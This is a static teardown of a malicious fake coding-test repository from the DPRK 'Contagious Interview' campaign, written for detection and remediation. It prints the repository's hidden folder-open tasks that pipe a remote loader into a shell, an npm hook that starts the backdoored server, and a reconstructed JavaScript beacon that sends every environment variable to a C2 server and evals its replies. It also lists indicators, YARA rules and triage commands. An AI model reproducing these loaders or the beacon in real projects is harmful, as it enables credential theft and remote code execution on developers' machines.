A very contagious interview
A static teardown of World-bat, a fake take-home coding test from the DPRK "Contagious Interview" campaign. Two hidden triggers, a four-stage loader and a BeaverTail beacon that sends your entire environment to its C2 every five seconds.
This report analyses World-bat, a Git repository distributed to software developers as a take-home coding assessment. It belongs to the DPRK-linked Contagious Interview campaign and is built to compromise the developer who opens it. The analysis covers how the repository conceals its triggers, every stage of the loader chain, the deobfuscated final payload, and a consolidated set of indicators of compromise for detection and host triage.
| Sample | Git repository codeberg.org/improbable-Hub/World-bat (HEAD 53218da0a97adb6afbbda25ac0e4b45d6e40ee1b, 398 commits, branch main) |
| Also analysed | Stages 2–4, fetched once from the staging host improbable-check1.vercel.app and stored read-only |
| Date | 2026-11-11 |
| Method | Static analysis only, inside an isolated VM. Nothing from the repository or any stage was executed (method) |
| Verdict | Malicious. DPRK "Contagious Interview" campaign: BeaverTail-family JavaScript loader and remote-code-execution backdoor behind a fake job-assessment lure |
Executive summary
World-bat poses as a Web3 "metaverse / multiplayer poker" project, branded GGLab, Virtual Pangea, deAIOS and 0G Rollplay. Repositories like this are sent to developers as a take-home coding test. It carries two independent infection paths:
- VS Code / Cursor auto-run task.
.vscode/tasks.jsonhas a task set torunOn: folderOpen. Its real command is pushed about 560 columns off-screen with whitespace. Once the workspace is trusted, it pipeshttps://improbable-check1.vercel.app/api/settings/<os>straight into a shell. - Trojanised backend. An obfuscated JavaScript blob hidden after about 300 spaces on line 18 of
routes/api/auth.jsruns whenever the server starts. The npmpreparehook starts the server in the background, sonpm installalone is enough.
Both paths end in the same final payload: celt.js, byte-identical to the blob in auth.js apart from \x20 escapes. It is a tiny remote-code-execution beacon:
- Every 5 seconds it sends the hostname, MAC address, OS details and the entire
process.envtohttp://51.210.65.37:1224/api/checkStatus. - Whenever the server replies with
status:"error", it passes the reply'smessagetoeval().
The operator decides what happens next. Public reporting says the next step is usually the BeaverTail stealer, the InvisibleFerret Python backdoor or OtterCookie. Those go after browser passwords and cookies, crypto wallets, the macOS Keychain and SSH keys.
Some reputation feeds label the C2 IP as Meduza Stealer or MetaStealer. That label does not fit this sample. The repository contains no Windows or macOS executables, and every observed technique matches Contagious Interview.
Cloning the repository is safe. Opening it is not. A plain git clone executes nothing. Opening the folder in VS Code or Cursor and trusting it, or running npm install, npm start or node server, infects the machine.
Attribution
Assessment: DPRK-nexus Contagious Interview, also tracked as Famous Chollima, DEV#POPPER, UNC5342 and under the "Lazarus" umbrella. The payload family is BeaverTail (JavaScript loader). The likely follow-on stages are InvisibleFerret and/or OtterCookie.
Confidence: high for the campaign cluster; moderate for the exact stage-5 family, because stage 5 was deliberately not retrieved.
Each technique below was observed in this sample and matched to public reporting:
| Observed technique | Public reporting |
|---|---|
| Web3 / crypto-gaming "take-home test" repository, fake job lure | Palo Alto Unit 42, Kudelski, OpenSourceMalware, Abstract Security: Contagious Interview |
.vscode/tasks.json runOn: folderOpen with a command hidden by whitespace padding | OpenSourceMalware ("DPRK Contagious Interview Malware Weaponizes VSCode Tasks"), Abstract Security, Kudelski ("hidden by 564 spaces") |
Stage 2 on *.vercel.app/api/settings/{mac,linux,windows}, then bootstraplinux / bootstrap, then ~/.vscode/vscode-bootstrap.{sh,cmd}, a portable Node from nodejs.org, npm i axios request, then the JS payload | Same chain documented publicly; older variants call the payload env-setup.js, this one celt.js |
Beacon http://<OVH IP>:1224/api/checkStatus, eval(message) when status == "error" | ThreatFox lists :1224/api/checkStatus URLs as "BeaverTail botnet C2"; Kudelski describes the same protocol |
| Obfuscator.io string array with rotation, payload appended to a legitimate source file | Typical of BeaverTail repository implants |
Many throwaway Gmail committer identities, +0900 timezones, generic commit messages, grafted legitimate history | Common in this campaign |
C2 IPs in OVH ranges (51.210/16, 51.178/16, 51.77/16, 54.39/16, 141.94/16, 151.80/16, 167.114/16, 91.121/16) | Matches published BeaverTail C2 infrastructure |
Meduza and MetaStealer are commodity Windows PE stealers written in C++ and .NET. Reputation aggregators file 51.210.65.37 under generic "malware / C2" categories, and shared OVH hosting or feed mixing would explain the label. Nothing in this sample resembles either family.
The lure repository
Content
- Pretext: the README promises a "decentralized AI operating system (deAIOS)", an open-world metaverse, Solana/NFT integration and more. The code is actually an old React and Express Texas Hold'em poker app with MetaMask wallet connect (
client/src/utils/interact.js), Socket.io and MongoDB. - 316 files, all mode
100644. No symlinks, submodules,.gitattributes, LFS pointers or executable bits. No binaries: PNG, JPG, GIF, WEBP and TTF assets only, and no PNG has data appended afterIEND. - Decoy and branding hosts in
client/public/_redirectsandsitemap.xml:mbank-poker.netlify.appand0g-rollplay.netlify.app, plusgglab-poker.netlify.appandmultibank-poker.netlify.appin the history. - Social-engineering helpers:
.vscode/settings.jsondefines terminal profiles (including a "GitHub CLI" profile) and hidesnode_modules. It is not malicious on its own, but it makes the workspace look polished and trustworthy.controllers/auth.jssetsisMatch = true, so any password logs in. That keeps a "candidate" from hitting errors while the backdoored backend runs.
History grafting and fake identities
- The bottom of the history is the legitimate npm package
silverwind/tcpie(2015–2024, 272 commits). The lure was committed on top of it so the repository looks long-lived and trustworthy. The tcpie maintainers have nothing to do with this campaign. - Lure commits run from 2025-10 to 2026-10 with author dates out of order. HEAD
53218dais dated2026-09-02 15:50:25 -0500but sits after a commit dated 2026-10-02, which points to forged dates. Commit messages are generic: "updated initial func1/2/3", "updated basic server func", "updated files", "delected files". - Committer identities. These are the names and addresses in the lure commits. Most are throwaway accounts; some identities were likely spoofed. The last row includes a genuine tcpie contributor whose identity was inherited through the grafted history; that address is redacted.
| Name(s) | Email(s) |
|---|---|
| martin / zero2hero-A / clitchdao | martinsnaith5050@gmail.com, snaithmartin0@gmail.com, martinsnaith534@gmail.com, martinsnaith7n@gmail.com |
| Temple Jett / clitchdao | templejett03@gmail.com |
| clitchdao | eltondarrell060@gmail.com |
| VladimirSimic2024 / sparkdev0917 | webvlada2024@gmail.com |
| Blockdaemon-Hub104 (HEAD) | romonterozamendoza@gmail.com |
| AlchemyWorkHub / divanefapibi31-alt | divanefapibi31@gmail.com |
| GitWorkHub9 | fatihafariya8+2@gmail.com |
| 0xroaman-2 / -4 / -9 / 0xroamanteam / roamanbuild | luis@commerce-media.org, serhiiprymierov25+2@gmail.com, luistech.0924@gmail.com, luistech.0924+1@gmail.com, simonsharp331+1@gmail.com |
| jackpot_mvp | hiringtecjreview@outlook.com |
| lxin6793-dot, aaronhirotobm-lgtm, robertferrero0904-ui | lxin6793@gmail.com, aaronhiroto.bm@gmail.com, robertferrero0904@gmail.com |
| Jobelo Andres Quintero Rodriguez | ignusmart@gmail.com |
| coin, Cherik, Mann-004, Matías, Zeke Sikelianos | coinstar@gmail.com, Pourcheriki@gmail.com, randhawamanpreet37@gmail.com, mjlescano@protonmail.com, redacted (genuine tcpie contributor) |
- Infrastructure rotation: earlier commits used about 25 different Vercel stage-2 hosts and 17 C2 IPs (all listed in the indicators). One commit hid the C2 as
AUTH_API=<base64>inside a committed.envfull of fake demo API keys.
Infection chain
Three entry points converge on one beacon. The VS Code task downloads a loader chain into ~/.vscode; npm install, npm start and node server skip the downloads and run the same code directly from routes/api/auth.js.
Stage-by-stage analysis
Stage 0: repository triggers
.vscode/tasks.json (sha256 2f387c25…0de3eec) defines two tasks. Both have runOptions.runOn: "folderOpen", presentation.reveal: "silent", echo: false and close: true:
{ "label": "version-update", "type": "shell",
"command": "npm install --silent --no-progress", ... "runOn": "folderOpen" },
{ "label": "env", "type": "shell",
"osx": { /* ~560 spaces */ "command": "curl -L 'https://improbable-check1.vercel.app/api/settings/mac' | bash" },
"linux": { /* ~560 spaces */ "command": "wget -qO- 'https://improbable-check1.vercel.app/api/settings/linux' | sh" },
"windows": { /* ~560 spaces */ "command": "curl --ssl-no-revoke -L https://improbable-check1.vercel.app/api/settings/windows | cmd" },
... "runOn": "folderOpen" }VS Code runs folder-open tasks only for a trusted workspace (the Workspace Trust prompt), and only when task.allowAutomaticTasks permits it. Victims are talked into clicking "Yes, I trust the authors". The task then re-runs every time the folder is opened, which is the chain's only persistence.
package.json (sha256 c913a6b8…1eb2f0) contains:
"prepare": "start /b node server || nohup node server &"npm runs prepare automatically after npm install, which starts the trojanised backend detached on both Windows and Unix.
routes/api/auth.js (sha256 2690f337…1235ab): line 18 is module.exports = router;, followed by about 300 spaces and then the obfuscated beacon (sha256 of the blob alone: 209a1aaf…40fea6). It loads through server.js → routes/index.js → require('./api/auth'). In an editor without word wrap, line 18 looks like an ordinary end of file.
Stage 2: OS loaders
Served from /api/settings/{mac,linux,windows}:
| File | sha256 | Behaviour |
|---|---|---|
stage2-mac | c0ccc784abc4cddf2372806b154f67c0701ffbd86c5c1a21e0fec57b95d48acc | mkdir -p ~/.vscode → curl -s -L -o ~/.vscode/vscode-bootstrap.sh …/api/settings/bootstraplinux → chmod +x → nohup bash ~/.vscode/vscode-bootstrap.sh → prints "Opened Successfully." |
stage2-linux | 78a881c7be81ac2459fc1810f350d6012a8ed160973a14f0eedebe7327c8e4cd | Prints "Authenticated", then does the same with wget -q. Runs clear between steps to wipe the terminal |
stage2-windows | 4f6ead231ccdafbc6e3f9b9a056ad441966569916352c6f19fdd843c0312ec37 | mkdir %USERPROFILE%\.vscode → curl --ssl-no-revoke -s -L -o %USERPROFILE%\.vscode\vscode-bootstrap.cmd …/api/settings/bootstrap → runs it, with cls before and after |
The loaders write to ~/.vscode because that directory already exists on most developer machines, so the files blend in with real extension data.
Stage 3a: vscode-bootstrap.sh (macOS and Linux)
Served from /api/settings/bootstraplinux, sha256 874f6c07e7b381ca6fb561c1d47598042015eb8e51f3ca8e3cc6505bbcad4073.
- Self-detach: if
$MINIMIZEDis unset, it exportsMINIMIZED=1, re-launches itself withnohup sh "$0" >/dev/null 2>&1 &and exits. The VS Code task ends at once while the real work continues invisibly. - Platform detection:
uname -smaps Darwin todarwinand Linux tolinux;uname -mmaps x86_64/amd64 tox64and arm64/aarch64 toarm64. Anything else exits. - Node runtime: accepts the system
nodeif its major version is 22–24, because the payload needs the built-in globalfetch. Otherwise it looks for a portable Node at~/.vscode/node-v24.11.1-<os>-<arch>/bin/nodeand removes it if the version is wrong. - Portable Node install: if still missing, it downloads the legitimate
https://nodejs.org/dist/v24.11.1/node-v24.11.1-<os>-<arch>.tar.xzwith curl or wget into~/.vscode/, extracts it, deletes the tarball and prepends it toPATH. No root needed. - Workspace marker: writes
$VS_CODE_FOLDER_NAMEto~/.vscode/$VS_CODE_FOLDER_NAME.txt. Nothing in the observed chain sets that variable, so a real infection probably creates~/.vscode/.txtcontaining an empty line. - Payload download:
…/api/settings/env→~/.vscode/celt.js, and…/api/settings/package→~/.vscode/package.json. - Dependencies: if
~/.vscode/node_modules/requestis missing, it runsnpm install --silent --no-progress --loglevel=error --fund=falsein~/.vscode, which pullsaxiosandrequest. - Launch: runs
"$NODE_EXE" ~/.vscode/celt.jsin the foreground of the detached process, so the beacon lives as long as that process does. - No reboot persistence: no LaunchAgent, systemd unit, cron entry or shell-rc edit. Persistence comes from the re-triggering
tasks.jsonand from whatever stage 5 installs.
Stage 3b: vscode-bootstrap.cmd (Windows)
Served from /api/settings/bootstrap, sha256 36e734f59912bc2d457631ec492611718f17c4a0f2beaf0d815639478fda2664. It differs from the Unix version in five ways:
- Hiding: re-launches itself with
start "" /min cmd /c "%~f0"(a minimised window) behind the sameMINIMIZEDguard. - Node: accepts system Node 22–24, otherwise uses
%USERPROFILE%\.vscode\nodejs\PFiles64\nodejs\node.exe. If that is missing, it downloadshttps://nodejs.org/dist/v24.0.0/node-v24.0.0-x64.msiwith curl (PowerShellInvoke-WebRequestas fallback) and runsmsiexec /a … /qn TARGETDIR=%USERPROFILE%\.vscode\nodejs. That is an administrative extract: Node lands without admin rights and without an Add/Remove Programs entry. The MSI is deleted afterwards. - Workspace marker: takes the name of the current directory (
%CD%, the opened repository folder, hereWorld-bat) and writes it to%USERPROFILE%\.vscode\<name>.txt. This likely tells the operator which lure a victim came from. - Payload name: saves the same
/api/settings/envcontent as%USERPROFILE%\.vscode\celt.npl(not.js), pluspackage.json. - Dependencies and launch: installs only
requestthrough the extractednpm-cli.js(falling back tonpm install request), then runsnode celt.nplwith all output sent tonul.
Stage 4: celt.js, the beacon
| File | sha256 |
|---|---|
celt.js / celt.npl (/api/settings/env) | ba09693d1a3df7b8385dc703d9352ea8a2a661b09580bfedf287236cf3ea2290 |
package.json (/api/settings/package) | 6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 |
The dropped package.json:
{"name":"env","dependencies":{"axios":"^1.10.0","request":"^2.88.2"},"scripts":{"start":"node env.npl"}}celt.js itself never uses axios or request. They are pre-installed for the code the C2 later sends through eval, which is consistent with BeaverTail and InvisibleFerret, both of which use request for uploads. The env.npl start script is a leftover from older variants (env-setup.js / .npl naming).
Code identity: after normalising '\x20' to ' ', celt.js and the blob hidden in routes/api/auth.js are byte-identical. Every path lands on the same beacon.
Static deobfuscation
The obfuscation is obfuscator.io's "string array + rotation" mode, without RC4 or base64 encoding of the array:
_0x5e68()returns a 24-element string array.- An IIFE rotates it with
push(shift())until a checksum built fromparseIntover specific entries equals0xaf26d. _0x42cb(i)returnsarray[i − 0x148].
The decoder was reimplemented in Python rather than executing the JavaScript. The script parses the array, offset, target and checksum expression straight from the source text, reproduces JavaScript's parseInt prefix semantics with its own integer arithmetic, and rotates until the checksum matches (one rotation here). It then substitutes every _0x42cb(0x…) call with its string. No JavaScript was evaluated at any point.
The recovered string table, after rotation:
0x148 48271040EuJRsw 0x150 459967GnSYxk 0x158 hostname
0x149 841437DAjeqA 0x151 bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= -> "now it time to get everything"
0x14a find 0x152 values 0x159 IPv4
0x14b 33tbmnjv 0x153 mac 0x15a error
0x14c aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw== -> "http://51.210.65.37:1224/api/checkStatus"
0x14d 6818172DSaCBr 0x154 16QrtcuL 0x15b 4115ebJspJ
0x14e utf8 0x155 release 0x15c 115828vOqIHe
0x14f networkInterfaces 0x156 stringify 0x15d family
0x157 4492JHlWST 0x15e json 0x15f 7973399ewmAbaEntries mixing digits and letters are checksum filler.
Reconstructed logic
const os = require('os');
let sysId = 0;
function getSystemInfo() {
const mac = Object.values(os.networkInterfaces()).flat()
.find(i => i.family === 'IPv4' && !i.internal && i.mac !== '00:00:00:00:00:00')?.mac;
return { hostname: os.hostname(),
macs: [mac],
os: `${os.type()} ${os.release()} (${os.platform()})` };
}
async function sendRequest(info) {
try {
const qs = new URLSearchParams({
sysInfo: JSON.stringify(info),
processInfo: JSON.stringify(process.env), // ALL environment variables
tid: 'bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=', // campaign/tracking id, sent still base64
sysId: sysId // 0 on first contact, then server-assigned
});
const url = Buffer.from('aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw==', 'base64').toString('utf8');
// => http://51.210.65.37:1224/api/checkStatus
const res = await fetch(url + '?' + qs); // HTTP GET, cleartext, data in query string
const { status, message, sysId: newId } = await res.json();
if (status === 'error') { try { eval(message); } catch (_) {} } // REMOTE CODE EXECUTION
if (newId) sysId = newId; // victim ID from C2
} catch (e) { console.error(e); }
}
try {
const s = getSystemInfo();
sendRequest(s);
setInterval(() => sendRequest(s), 5000); // beacon every 5 s, forever
} catch (e) { console.error(e); process.exit(1); }What matters in it:
- C2:
http://51.210.65.37:1224/api/checkStatus, plain HTTP GET on TCP 1224. Base64 hides the URL from naive string search. - Sends: hostname, the MAC of the first external IPv4 interface, OS type/release/platform, the complete
process.env, thetidcampaign marker andsysId. Inside a developer's VS Code terminal or npm process,process.envoften holdsGITHUB_TOKEN,AWS_*,NPM_TOKEN, OpenAI and other API keys, andSSH_AUTH_SOCK. The first beacon is already credential theft. - Replies:
{status, message, sysId}.status:"error"is the deliberately misleading "run this" signal:messageis JavaScript passed toeval()with full Node privileges (require,fs,child_process, network).celt.jswrites no files and starts no Python on its own; any.npl,.pypor Python stage arrives througheval. - Errors are swallowed, and the 5-second loop keeps the process alive indefinitely.
Stage 5: whatever the C2 sends
Not retrieved, by design: contacting the C2 would have announced the analysis and fed the operator a fake victim. The next section lists what public reporting says it usually is.
Capabilities and data at risk
Observed in this sample
- Silent execution on VS Code or Cursor folder open (trusted workspace), on
npm install(prepare) and on server start. - Hidden or minimised execution, terminal clearing, detaching with
nohup/start /min. - Drops a legitimate portable Node.js runtime into
~/.vscode, no admin needed (on Windows via anmsiexec /aextract). - Writes the workspace or repository name to a marker file for victim and lure tracking.
- Exfiltrates hostname, MAC, OS and every environment variable to
51.210.65.37:1224every 5 seconds. - Arbitrary remote JavaScript execution through
eval()of C2 replies. - Pre-installs the
axiosandrequestHTTP libraries for later stages.
From public reporting on BeaverTail, InvisibleFerret and OtterCookie
Not observed here, but what the follow-on stages typically do:
- Steal Chromium and Firefox saved passwords, cookies and autofill (Chrome, Brave, Edge, Opera, Firefox).
- Steal crypto wallet browser extensions (MetaMask, Phantom, Coinbase Wallet, TronLink, Exodus Web3 and others) and desktop wallets (Exodus, Atomic, Solana
id.json). - Take the macOS
~/Library/Keychains/login.keychain-db, SSH keys,.npmrc, shell history and documents matching keyword patterns. - Download a Python runtime and the InvisibleFerret backdoor: keylogging, clipboard capture, file upload, remote shell. Past drop names include
~/.n2/,~/.n3/,~/.npland~/.pyp/. Sometimes AnyDesk is installed for hands-on access. - OtterCookie variants add clipboard and crypto-address monitoring and document theft.
Checking your own devices
If you received a repository like this, what you did with it decides whether you are affected:
| What you did | Result |
|---|---|
git clone in a terminal | Not infected. Git never transfers hooks, and the repository has no submodules, symlinks, filters, LFS or executable bits |
| Zipped or archived the folder | Not infected |
| Browsed it in Finder, Explorer or Quick Look | Not infected. There is no .app, .command, Mach-O, PE or script with an executable bit |
| Opened it in VS Code, Cursor or another fork in Restricted Mode | Tasks do not auto-run. Low risk, as long as you did not run anything |
| Opened it in VS Code, Cursor or another fork and trusted it | Infected. curl … /api/settings/mac | bash runs the full chain |
Ran npm install | Infected. prepare starts the backdoored server |
Ran npm start, npm run dev or node server | Infected |
The checks below look for every artefact this chain leaves behind. A clean result means none of the observed stages ran; it cannot rule out a stage 5 that cleaned up after itself.
macOS
# Dropped files (stages 2-4)
ls -la ~/.vscode/vscode-bootstrap.sh ~/.vscode/celt.js ~/.vscode/package.json \
~/.vscode/node_modules/axios ~/.vscode/node_modules/request \
~/.vscode/node-v24.11.1-darwin-* ~/.vscode/*.txt ~/.vscode/.txt 2>/dev/null
# Running beacon or backdoored server
ps -axo pid,ppid,command | grep -Ei 'celt|vscode-bootstrap|node .*server' | grep -v grep
# C2 connections (TCP 1224, or the current C2 IP)
lsof -nPi :1224
lsof -nPi | grep -E ':1224|51\.210\.65\.37'
# Stage-5 remnants reported publicly
ls -la ~/.n2 ~/.n3 ~/.npl ~/.pyp 2>/dev/null
ps -axo pid,ppid,lstart,command | grep -i python | grep -v grep
ls -lat ~/Library/LaunchAgents/
ls -d /Applications/AnyDesk* 2>/dev/null
# Was the folder ever opened in an editor?
grep -il 'world-bat' ~/Library/Application\ Support/{Code,Cursor,Windsurf}/User/workspaceStorage/*/workspace.json 2>/dev/nullLinux
ls -la ~/.vscode/vscode-bootstrap.sh ~/.vscode/celt.js ~/.vscode/package.json \
~/.vscode/node_modules ~/.vscode/node-v24.11.1-linux-* ~/.vscode/*.txt 2>/dev/null
pgrep -af 'celt|vscode-bootstrap'
ss -tnp | grep -E ':1224|51\.210\.65\.37'
ls -la ~/.n2 ~/.n3 ~/.npl ~/.pyp 2>/dev/null
# Stage-5 persistence, if any
ls -la ~/.config/autostart/ ~/.config/systemd/user/ 2>/dev/null
crontab -l
grep -il 'world-bat' ~/.config/{Code,Cursor}/User/workspaceStorage/*/workspace.json 2>/dev/nullWindows
# Dropped files (stages 2-4)
Get-ChildItem -Force "$env:USERPROFILE\.vscode" |
Where-Object Name -match 'vscode-bootstrap|celt|package\.json|node_modules|nodejs|\.txt$|\.msi$'
Test-Path "$env:USERPROFILE\.vscode\nodejs\PFiles64\nodejs\node.exe"
# Running beacon: node.exe with celt.npl or a "server" argument
Get-CimInstance Win32_Process -Filter "Name='node.exe'" | Select-Object ProcessId, ParentProcessId, CommandLine
# C2 connections
netstat -ano | findstr ":1224"
# Stage-5 persistence reported publicly
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"
Get-ScheduledTask | Where-Object { $_.Date -gt (Get-Date).AddDays(-30) }
Get-Process AnyDesk -ErrorAction SilentlyContinueOn Windows, the infection shows up as this process tree: Code.exe → cmd.exe /c curl … | cmd → cmd /c vscode-bootstrap.cmd → node.exe celt.npl, or node server started by npm install.
Detection
Scan untrusted repositories before opening them
Run these from a terminal against any repository you were sent, before opening it in an editor:
# folder-open auto-run tasks
rg -n --hidden '"runOn"\s*:\s*"folderOpen"' -g '.vscode/**'
# commands hidden by whitespace padding (>=100 spaces, then code)
rg -n --hidden -g '!node_modules' ' {100,}\S'
# pipe-to-shell from tasks
rg -n --hidden -g '.vscode/**' '(curl|wget)[^"]*\|\s*(ba)?sh|\|\s*cmd'
# Vercel loader paths and the 1224 beacon (raw and base64)
rg -n --hidden '/api/settings/(mac|linux|windows|bootstrap|bootstraplinux|env|package)|:1224/api/checkStatus|OjEyMjQvYXBpL2NoZWNrU3RhdHVz|MTIyNC9hcGkvY2hlY2tTdGF0dXM'
# npm lifecycle hook that starts a server in the background
rg -n '"prepare"\s*:\s*"[^"]*(nohup|start /b)'YARA
rule CI_VSCode_FolderOpen_HiddenTask {
meta:
description = "Contagious Interview tasks.json: folderOpen task with whitespace-padded command"
strings:
$run = /"runOn"\s*:\s*"folderOpen"/
$pad = /\{\s{200,}"command"/
$pipe = /(curl|wget)[^"\n]{0,200}\|\s*(bash|sh|cmd)/
condition:
filesize < 50KB and $run and ($pad or $pipe)
}
rule CI_BeaverTail_checkStatus_Beacon {
meta:
description = "BeaverTail-style JS beacon: checkStatus + process.env + eval(message)"
strings:
$b64a = "OjEyMjQvYXBpL2NoZWNrU3RhdHVz" // ":1224/api/checkStatus" base64 (aligned)
$b64b = "MTIyNC9hcGkvY2hlY2tTdGF0dXM"
$plain = "/api/checkStatus"
$env = "'processInfo':JSON"
$tid = "bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc="
$eval = /eval\(_0x[0-9a-f]{4,6}\)/
$pad = /;\s{150,}\(function\(_0x/
condition:
$tid or (($b64a or $b64b or $plain) and $env and $eval) or ($pad and $eval)
}
rule CI_VSCode_Bootstrap_Script {
meta:
description = "Contagious Interview vscode-bootstrap stage-3 (sh/cmd)"
strings:
$a = "MINIMIZED"
$b = "/api/settings/env"
$c = "/api/settings/package"
$d = "celt.js"
$e = "celt.npl"
$f = "node_modules/request"
$g = "node_modules\\request"
$h = "msiexec /a"
condition:
$a and $b and $c and 1 of ($d, $e, $f, $g, $h)
}Network and EDR
- Alert on outbound TCP/1224 HTTP to path
/api/checkStatuswith query parameterssysInfo=,processInfo=,tid=andsysId=. The beacon fires every 5 seconds, a very regular cadence. - Alert on
*.vercel.app/api/settings/(mac|linux|windows|bootstrap|bootstraplinux|env|package). - Process lineage:
Code,Cursorornpm→bash -l -c/cmd /c→curl|wget … | sh|bash|cmd.noderunning from~/.vscode/node-v*/bin/nodeor%USERPROFILE%\.vscode\nodejs\PFiles64\.node ~/.vscode/celt.js. - Hardening: set
"task.allowAutomaticTasks": "off"in VS Code and Cursor user settings, and keep Workspace Trust enabled so unknown repositories open in Restricted Mode.
Remediation
If you only cloned or archived the repository: you are not infected. Delete the folder, and if you need it as evidence, keep it in a password-protected archive. Never open it in an editor.
If any infecting action from the table above happened, assume full compromise:
- Isolate the machine from the network.
- Kill
nodeprocesses runningcelt.js,celt.nplorserver, and delete the dropped files listed in the indicators, including the portable Node folders and~/.vscode/node_modules. Leave your real~/.vscode/extensionsalone. - Hunt for stage-5 persistence: LaunchAgents,
~/.n2,~/.n3,~/.npl,~/.pyp, Python processes, AnyDesk, Run keys, scheduled tasks. Because stage 5 is unknown, reinstalling the OS is the safest option. - From a clean device, rotate every secret that was in the environment or on disk: GitHub/GitLab tokens and SSH keys, cloud keys (AWS, GCP, Azure), npm/PyPI tokens, API keys, and the
.envsecrets of every other project on the machine. - Change all browser-saved passwords, revoke sessions (Google, GitHub, exchanges, email) and re-enrol 2FA wherever TOTP seeds could have been exposed.
- Crypto: treat seed phrases and wallet extensions as compromised. Move funds to a new wallet created on a clean device.
- On a work machine, notify your security team. Report the repository to Codeberg, the Vercel hosts to Vercel and the IPs to OVH.
- Harden the editor:
"task.allowAutomaticTasks": "off", Workspace Trust on, and review take-home repositories in a disposable VM.
How this analysis was done
-
Isolated VM. The analysis ran in a dedicated Linux virtual machine holding no personal files, credentials or logins.
-
Safe clone. The repository was cloned with hooks, credential helpers, local-file protocols and submodules disabled, and without a checkout:
shell env -i HOME=/tmp/mal-home PATH=/usr/bin:/bin \ git -c credential.helper= -c core.hooksPath=/dev/null -c protocol.file.allow=never \ clone --no-recurse-submodules --no-checkout https://codeberg.org/improbable-Hub/World-bat.git -
No network during analysis. Every later git and analysis command ran with an empty environment (
env -i) inside an unprivileged namespace without network access (unshare -rn). The tree was materialised withgit archive, so no file carried an executable bit. -
Nothing executed. No file from the repository or any stage was run, sourced, imported or installed.
node,npm,bashandcmdwere never pointed at sample content. The deobfuscator is a purpose-written Python script that only transforms text. -
Minimal contact with attacker infrastructure. Stages 2–4 were fetched once from the staging host and stored read-only. The C2 at
51.210.65.37:1224was never contacted, and stage 5 was never requested. Public threat intelligence was consulted by name only: OpenSourceMalware, Abstract Security, Kudelski, ThreatFox/lazarus.day and isMalicious.
Open questions
- Stage-5 content. What the C2 sends through
evalis unknown and probably varies per victim. The data-theft list above comes from public reporting, not from this sample. - Whether
51.210.65.37:1224andimprobable-check1.vercel.appare still live. Not tested, by design. - Whether the Vercel host serves different content per victim, IP, User-Agent or time. A single capture may not be representative.
- How
VS_CODE_FOLDER_NAMEis meant to be set on macOS and Linux. Nothing in the observed chain sets it, so the marker file is probably~/.vscode/.txt; a variant task may set it. - The historical stage-2 hosts and C2s come from a regex sweep over all 398 commits. Unusually encoded one-off variants in old commits could have been missed.
- Image and font assets got only a basic check (no trailing data after PNG
IEND). Nothing in the code reads them, so they are very likely benign. - Attribution beyond "Contagious Interview cluster" (sub-group, operator identities) is not possible from this sample. The committer addresses are almost certainly throwaway or stolen identities.
Indicators of compromise
Every indicator extracted from the repository, its history and stages 2–4. All are shown as text and none are links. Do not visit them.
URLs
Current, from HEAD and the downloaded stages:
https://improbable-check1.vercel.app/api/settings/mac stage-2 loader (macOS)
https://improbable-check1.vercel.app/api/settings/linux stage-2 loader (Linux)
https://improbable-check1.vercel.app/api/settings/windows stage-2 loader (Windows)
https://improbable-check1.vercel.app/api/settings/bootstraplinux stage-3 bootstrap (sh)
https://improbable-check1.vercel.app/api/settings/bootstrap stage-3 bootstrap (cmd)
https://improbable-check1.vercel.app/api/settings/env stage-4 celt.js / celt.npl
https://improbable-check1.vercel.app/api/settings/package stage-4 package.json
http://51.210.65.37:1224/api/checkStatus C2 beacon / RCELegitimate Node.js downloads abused by stage 3. Context only, do not block:
https://nodejs.org/dist/v24.11.1/node-v24.11.1-{darwin,linux}-{x64,arm64}.tar.xz
https://nodejs.org/dist/v24.0.0/node-v24.0.0-x64.msiDomains
Payload staging, current:
improbable-check1.vercel.appPayload staging, historical (from the repository history; paths /api/settings/*, /api/validate, /api/data, /api):
0g-auth-check.vercel.app
ake-test.vercel.app
api-royaljapan.vercel.app
api111-jade.vercel.app
astrahub.vercel.app
ip-address-check-moa5.vercel.app
ip-check-pc.vercel.app
ip-checking-notification-pic.vercel.app
ip-core-api-0511.vercel.app
ipcheck-royal.vercel.app
ipcheck-six.vercel.app
oracle-reg-check.vercel.app
oracle-v3-nu.vercel.app
project-mjecx.vercel.app
rgg-vercel.vercel.app
spherity-project.vercel.app
test-g-acs.vercel.app
virtualpangea-mvp.vercel.app
vscode-check-mo1.vercel.app
vscode-check-mo2.vercel.app
vscode-settings-0511.vercel.app
vscode-settings-529.vercel.appLure branding (probably decoys, unverified):
mbank-poker.netlify.app
0g-rollplay.netlify.app
gglab-poker.netlify.app
multibank-poker.netlify.appIP addresses
All on TCP/1224, path /api/checkStatus. The current C2 is 51.210.65.37 (OVH FR, AS16276), listed on five threat-intelligence feeds as malware/C2, last listed 2026-11-06. The rest come from earlier commits.
51.210.65.37 current
141.94.148.35 historical
141.94.148.39 historical
147.124.212.180 historical
147.124.212.207 historical
151.80.76.66 historical
167.114.215.75 historical
216.250.251.187 historical
216.250.252.245 historical
54.39.43.114 historical
54.39.43.117 historical
51.178.11.177 historical
51.178.11.179 historical
51.178.11.188 historical
51.77.188.54 historical
85.17.26.178 historical
91.121.235.127 historicalStrings and markers
| Indicator | Meaning |
|---|---|
bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= | tid campaign marker, "now it time to get everything" |
aHR0cDovLzUxLjIxMC42NS4zNzoxMjI0L2FwaS9jaGVja1N0YXR1cw== | Base64 C2 URL |
_0x5e68, _0x42cb, 0xaf26d, 0x148 | Obfuscator identifiers, rotation checksum and offset |
Authenticated, Opened Successfully., [INFO] Running celt.js... | Loader echo strings |
sysInfo=, processInfo=, tid=, sysId= | Beacon query parameters |
File paths
| Platform | Paths |
|---|---|
